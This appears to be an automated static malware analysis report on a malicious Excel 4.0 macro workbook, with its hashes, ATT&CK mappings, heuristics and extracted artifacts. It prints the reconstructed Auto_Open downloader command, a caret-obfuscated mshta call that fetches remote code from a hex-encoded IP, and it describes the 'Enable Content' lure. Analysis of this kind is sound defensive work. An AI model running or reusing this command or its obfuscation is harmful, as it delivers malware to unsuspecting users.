Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 4f3d321efc862ba0…

MALICIOUS

Office (OLE) / .XLS

64.1 KB Created: 2022-01-17 17:40:35 Authoring application: Microsoft Excel
MD5: 51448ac99ac2cf0a846109c9e44efe37 SHA-1: 00c8511f8334812a40fed1ac8b94efc8223767a3 SHA-256: 4f3d321efc862ba0c8a675ae59160db9888ac88a6f24497d344ca00619475783
100 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File Execution: User Execution of Malicious Code T1059.005 Command and Scripting Interpreter: Visual Basic

The sample is an Excel 4.0 macro sheet (XLM) that contains an Auto_Open macro. This macro is designed to execute a command that downloads a payload from a hardcoded URL. The document body explicitly instructs the user to "Enable Editing" and "Enable Content", a common social engineering tactic to bypass macro security. The reconstructed command is "cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/cc.html", which points to a malicious URL.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
0807f652a36752efcd354ce3c536f2fe7ed4cd53a3ff1787c33acb378dda90a0
xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1073 bytes